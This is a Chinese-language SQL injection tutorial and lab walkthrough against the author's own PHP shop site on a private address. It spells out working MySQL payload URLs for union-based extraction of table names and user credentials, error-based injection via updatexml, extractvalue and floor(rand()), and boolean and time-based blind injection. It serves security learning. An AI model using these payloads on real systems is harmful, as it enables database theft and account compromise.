SQL注入介绍

  • SQL

结构化查询语言(Structured Query Language,缩写:SQL),是一种特殊的编程语言,用于数据库中的标准数据查询语言.1986年10月,美国国家标准学会对SQL进行规范后,以此作为关系式数据库管理系统的标准语言(ANSI X3. 135-1986),1987年得到国际标准组织的支持下成为国际标准.不过各种通行的数据库系统在其实践过程中都对SQL规范作了某些编改和扩充.所以,实际上不同数据库系统之间的SQL不能完全相互通用.

  • 漏洞原理

SQL注入(SQL Injection)是一种常见的Web安全漏洞,攻击者利用这个漏洞,可以访问或修改数据,或者利用潜在的数据库漏洞进行攻击.

  • 可能存在SQL注入的地方
  1. GET 数据
  2. POST 数据
  3. HTTP 头部
  4. Cookie 数据
  • 漏洞危害

攻击者利用SQL注入漏洞,可以获取数据库中的多种信息(例如:管理员后台密码),从而脱取数据库中内容(脱库).在特别情况下还可以修改数据库内容或者插入内容到数据库,如果数据库权限分配存在问题,或者数据库本身存在缺陷,那么攻击者可以通过SQL注入漏洞直接获取webshell或者服务器系统权限.

  • 分类

SQL 注入漏洞根据不同的标准,有不同的分类.但是从数据类型分类来看,SQL 注入分为数字型和字符型.数字型注入就是说注入点的数据,拼接到SQL 语句中是以数字型出现的,即数据两边没有被单引号,双引号包括.字符型注入正好相反.

  • 根据注入手法分类
  1. UNION query SQL injection(可联合查询注入)联合查询
  2. Error-based SQL injection(报错型注入)报错注入
  3. Boolean-based blind SQL injection(布尔型注入)布尔盲注
  4. Time-based blind SQL injection(基于时间延迟注入)延时注入
  5. Stacked queries SQL injection(可多语句查询注入)堆叠查询

mysql数据库常用参数

注释

# mysql 数据库的注释

# 注释内容
-- 注释内容
/* 注释内容  */
/*! 注释内容 */ 

mysql元数据库数据库information_schema

information_schema
            |
            +-- tables
            |       |
            |       `-- table_name
            |       |
            |       `-- table_schema
            |       
            `-- columns 
                    |
                    `-- column_name
                    |
                    `-- table_name
                    |
                    `-- table_schema

MYSQL常用函数与参数

  • 由于关系型数据库系统,具有明显的库/表/列/内容结构层次,所以我们通过SQL 注入漏洞获取数据库中信息时候,也依据这样的顺序.首先获取数据库名,其次获取表名,然后获取列名,最后获取数据.

逻辑相关

  • = : 等于
  • > : 大于
  • >= : 大于等于
  • <= : 小于等于
  • <> : 不等于
  • and : 与
  • or : 或
  • 在SQL语句中逻辑运算与(and)比或(or)的优先级高select 1=2 and 1=2 or 1=1;(结果为1)

函数

  • version() : 数据库版本
  • database() : 当前数据库名
  • user() : 用户名
  • current_user() : 当前用户名
  • system_user() : 系统用户名
  • @@datadir : 数据库路径
  • @@versoin_compile_os : 操作系统版本
  • length() : 返回字符串的长度
  • substring() : 截取字符串
  • mid() : 截取字符串用法与substr()相同
  • substr() : 截取字符串用法与mid()相同
  • left() : 从左侧开始取指定字符个数的字符串
  • concat() : 没有分隔符的连接字符串
  • concat_ws() : 含有分割符的连接字符串
  • group_conat() : 连接一个组的字符串,一般配合group by语句使用
  • ord() : 返回ASCII码
  • ascii() : 返回ASCII码
  • hex() : 将字符串转换为十六进制
  • unhex() : 将十六进制转换为字符串
  • md5() : 返回MD5值
  • floor() : 向下取整
  • round() : 对结果进行四舍五入
  • rand() : 返回0-1之间的随机浮点数
  • load_file() : 读取文件,并返回文件内容作为一个字符串
  • sleep() : 睡眠时间为指定的秒数
  • if(true,t,f) : if判断
  • find_in_set() : 返回字符串在字符串列表中的位置
  • benchmark() : 指定语句执行的次数
  • name_const() : 返回表作为结果

SQL注入实战

注入点的判断

可以使用扫描工具扫描网站的目录,这里使用的靶场是我学习PHP一个月的时候写的一个商城项目,里面包含了sql注入漏洞,chrome会将多余的符号转码,这里我使用firefox进行测试

部署好网站以后查看扫描结果

QQ截图20201215154129.png

  • 正常情况的网站会有大量的目录会被发现,可以根据目录结构进行攻击

字符型或数字型判断

  • 这里由于我代码缘故,屏蔽了报错,如果增加了引号发生了数据库报错或没有结果,就会返回主页,就可以根据报错判断sql注入类型

使用引号测试

#添加引号查看页面反馈
http://10.0.0.254:81/home/index.php?c=shoplist&a=goods&id=62'

QQ截图20201215155817.png

是否有布尔类型

#根据页面显示
http://10.0.0.254:81/home/index.php?c=shoplist&a=goods&id=62 and 1=2
http://10.0.0.254:81/home/index.php?c=shoplist&a=goods&id=62' and '1'='2
  • 两个url对比,第二个链接以字符型的恒假式注入sql语句造成查询结果为空而返回首页,所以是字符型

QQ截图20201215160050.png

QQ截图20201215160113.png

延时判断

#添加引号查看页面反馈
http://10.0.0.254:81/home/index.php?c=shoplist&a=goods&id=62 and sleep(5)
10.0.0.254:81/home/index.php?c=shoplist&a=goods&id=62' and sleep(5) and 1='1
  • 两个url对比,第二个链接以字符型的sleep函数注入sql语句造成查询结果延迟5秒,所以是字符型

QQ截图20201215160746.png

QQ截图20201215160759.png

SQL注入攻击

联合查询

由于数据库中的内容会回显到页面中来,所以我们可以采用联合查询进行注入.联合查询就是SQL语法中的union语句.该语句会同时执行两条select语句,生成两张虚拟表,然后把查询到的结果进行拼接.

  • 示例语句:select * from a union select * from b
  • 由于虚拟表是二维结构,联合查询会"纵向"拼接,两张虚拟的表

必要条件

  • 两张虚拟的表具有相同的列数
  • 虚拟表对应的列的数据类型相同

判断字段个数

  • 可以使用order by语句来判断当前select语句所查询的虚拟表的列数.order by语句本意是按照某一列进行排序,在mysql中可以使用数字来代替具体的列名,比如order by 1就是按照第一列进行排序,如果mysql没有找到对应的列,就会报错[Unknown column].我们可以依次增加数字,直到数据库报错
#通过order by来判断字段个数 %23 为转化以后 # 符号,分号代表sql语句的结束
#查看源码以后可以获取到实际拼接的sql语句
# SELECT * FROM `goods` WHERE id='62' order by 5;#' AND status='1'
#根据页面反馈判断字段个数
http://10.0.0.254:81/home/index.php?c=shoplist&a=goods&id=62' order by 9;%23

相当于通过页面是否跳转首页来判断sql语句是否报错或无结果

QQ截图20201215163304.png

QQ截图20201215163328.png

判断显示位置

  • 得到字段个数之后,可以尝试构造联合查询语句.这里我们并不知道表名,根据mysql数据库特性,select语句在执行的过程中,并不需要指定表名.
#可以union一个虚拟的表
http://10.0.0.254:81/home/index.php?c=shoplist&a=goods&id=62' union select 1,2,3,4,5,6,7,8,9;%23
http://10.0.0.254:81/home/index.php?c=shoplist&a=goods&id=62' union select null,null,null,null,null,null,null,null,null;%23

#页面显示的是第一张虚拟表的内容,那么我们可以考虑让第一张虚拟表的查询条件为假,则显示第二条记录.因此构造SQL语句
#偷偷看了一眼代码,因为我代码有二次查询的缘故所以这里的3用89代替
http://10.0.0.254:81/home/index.php?c=shoplist&a=goods&id=62' and 1=2 union select 991,992,89,994,995,996,997,998,999;%23
http://10.0.0.254:81/home/index.php?c=shoplist&a=goods&id=-62' union select 991,992,89,994,995,996,997,998,999;%23

QQ截图20201215164857.png

可以利用这些回显的数字进行其他查询操作

  • 获取版本和库名
http://10.0.0.254:81/home/index.php?c=shoplist&a=goods&id=-62' union select 991,database(),89,version(),995,996,997,998,999;%23

QQ截图20201215165118.png

  • 获取表名
http://10.0.0.254:81/home/index.php?c=shoplist&a=goods&id=-62' union select 991,group_concat(table_name),89,version(),995,996,997,998,999 from information_schema.tables where table_schema=database();%23

#如果数据库报错,考虑用hex()函数将结果由字符串转化成16进制
http://10.0.0.254:81/home/index.php?c=shoplist&a=goods&id=-62' union select 991,hex(group_concat(table_name)),89,version(),995,996,997,998,999 from information_schema.tables where table_schema=database();%23

QQ截图20201215165401.png

16进制转化

QQ截图20201215165655.png

#得到16进制编码
636172742C676F6F64732C6C696E6B2C6F726465722C6F726465725F696E666F2C747970652C757365722C757365725F696E666F

QQ截图20201215165602.png

获取用户表的字段

http://10.0.0.254:81/home/index.php?c=shoplist&a=goods&id=-62' union select 991,group_concat(column_name),89,version(),995,996,997,998,999 from information_schema.columns where table_schema=database() and table_name='user';%23

#如果数据库报错,考虑用hex()函数将结果由字符串转化成16进制
http://10.0.0.254:81/home/index.php?c=shoplist&a=goods&id=-62' union select 991,hex(group_concat(column_name)),89,version(),995,996,997,998,999 from information_schema.columns where table_schema=database() and table_name='user';%23

QQ截图20201215165957.png

获取表中内容

#查看条数
http://10.0.0.254:81/home/index.php?c=shoplist&a=goods&id=-62' union select 991,count(*),89,version(),995,996,997,998,999 from user;%23

#获取第一条记录
http://10.0.0.254:81/home/index.php?c=shoplist&a=goods&id=-62' union select 991,concat(id,':',username,':',password,':',level,':',addtime),89,version(),995,996,997,998,999 from user limit 0,1;%23
  • 只有1条记录

QQ截图20201215170519.png

  • 获取第一条记录,通过漏洞获得了帐号密码

QQ截图20201215170536.png

报错注入

在注入点的判断过程中,发现数据库中SQL 语句的报错信息,会显示在页面中,因此可以进行报错注入.报错注入的原理,就是在错误信息中执行SQL 语句.触发报错的方式很多,具体细节也不尽相同.此处建议直接背公式即可.

  • 利用了rand()group by语句聚合的特性,在生成字段和聚合的时候生成重复字段来使sql报错,由于使用了rand(),所以sql报错具有随机性
  • 由于报错就返回主页,所以报错注入无法实现
#group by重复键冲突
http://10.0.0.254:81/home/index.php?c=shoplist&a=goods&id=-62' and (select 1 from (select count(*),concat((select version() from information_schema.tables limit 0,1),floor(rand()*2))x from information_schema.tables group by x)a);%23

#XPATH 报错 updatexml()
http://10.0.0.254:81/home/index.php?c=shoplist&a=goods&id=-62' and updatexml(1,concat('^',(select database()),'^'),1);%23

#XPATH 报错 extractvalue()
http://10.0.0.254:81/home/index.php?c=shoplist&a=goods&id=-62' and extractvalue(1,concat('^',(select version()),'^'));%23

布尔盲注

利用页面返回的布尔类型状态,正常或者不正常

  • 获取数据库名
#猜测数据库名长度
http://10.0.0.254:81/home/index.php?c=shoplist&a=goods&id=62' and length(database())=3;%23
http://10.0.0.254:81/home/index.php?c=shoplist&a=goods&id=62' and length(database())=4;%23

#根据assic码值猜库名
http://10.0.0.254:81/home/index.php?c=shoplist&a=goods&id=62' and ascii(substr(database(),1,1))=115;%23
http://10.0.0.254:81/home/index.php?c=shoplist&a=goods&id=62' and ascii(substr(database(),1,1))>99;%23

QQ截图20201215190349.png

QQ截图20201215190333.png

延时注入

利用sleep()语句的延时性,以时间线作为判断条件

  • 获取数据库名
#猜测数据库名长度
http://10.0.0.254:81/home/index.php?c=shoplist&a=goods&id=62' and if((length(database())=3),sleep(5),1);%23
http://10.0.0.254:81/home/index.php?c=shoplist&a=goods&id=62' and if((length(database())=4),sleep(5),1);%23

#根据assic码值猜库名
http://10.0.0.254:81/home/index.php?c=shoplist&a=goods&id=62' and if((ascii(substr(database(),1,1))=115),sleep(5),1);%23
http://10.0.0.254:81/home/index.php?c=shoplist&a=goods&id=62' and if((ascii(substr(database(),1,1))>99),sleep(5),1);%23

QQ截图20201215192518.png

QQ截图20201215192410.png